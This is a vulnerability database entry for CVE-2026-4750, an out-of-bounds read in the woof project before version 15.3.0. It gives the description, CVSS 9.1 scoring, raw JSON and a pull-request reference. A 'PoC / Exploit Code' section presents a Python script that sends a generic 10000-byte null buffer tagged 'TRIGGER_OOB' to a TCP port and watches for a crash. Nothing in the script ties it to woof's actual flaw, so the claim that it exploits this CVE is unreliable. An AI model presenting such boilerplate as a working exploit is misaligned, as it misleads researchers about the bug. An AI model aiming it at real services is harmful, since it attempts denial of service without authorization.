Security Vulnerability Report
中文
CVE-2026-4750 CVSS 9.1 CRITICAL

CVE-2026-4750

Published: 2026-03-24 06:16:23
Last Modified: 2026-05-05 20:38:41

Description

Out-of-bounds Read vulnerability in fabiangreffrath woof.This issue affects woof: before woof_15.3.0.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

woof < woof_15.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # PoC for CVE-2026-4750 (Out-of-bounds Read in woof) # This script attempts to trigger the vulnerability by sending a malformed payload. # Note: Replace TARGET_IP and TARGET_PORT with the actual vulnerable service details. TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 def trigger_oob_read(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Constructing a payload designed to trigger the out-of-bounds read # The specific size and format may vary depending on the vulnerable code path. # Sending a large buffer often helps in triggering bounds check failures. malicious_payload = b"\x00" * 10000 + b"TRIGGER_OOB" print("[*] Sending malicious payload...") s.send(malicious_payload) # Waiting for a response or a crash response = s.recv(1024) print("[+] Received response:", response) except ConnectionResetError: print("[!] Connection reset by peer - possible crash detected.") except Exception as e: print(f"[!] An error occurred: {e}") finally: s.close() if __name__ == "__main__": trigger_oob_read()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4750", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:23.260", "lastModified": "2026-05-05T20:38:41.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Read vulnerability in fabiangreffrath woof.This issue affects woof: before woof_15.3.0."}, {"lang": "es", "value": "Vulnerabilidad de lectura fuera de límites en fabiangreffrath woof. Este problema afecta a woof: antes de woof_15.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/fabiangreffrath/woof/pull/2521", "source": "[email protected]"}]}}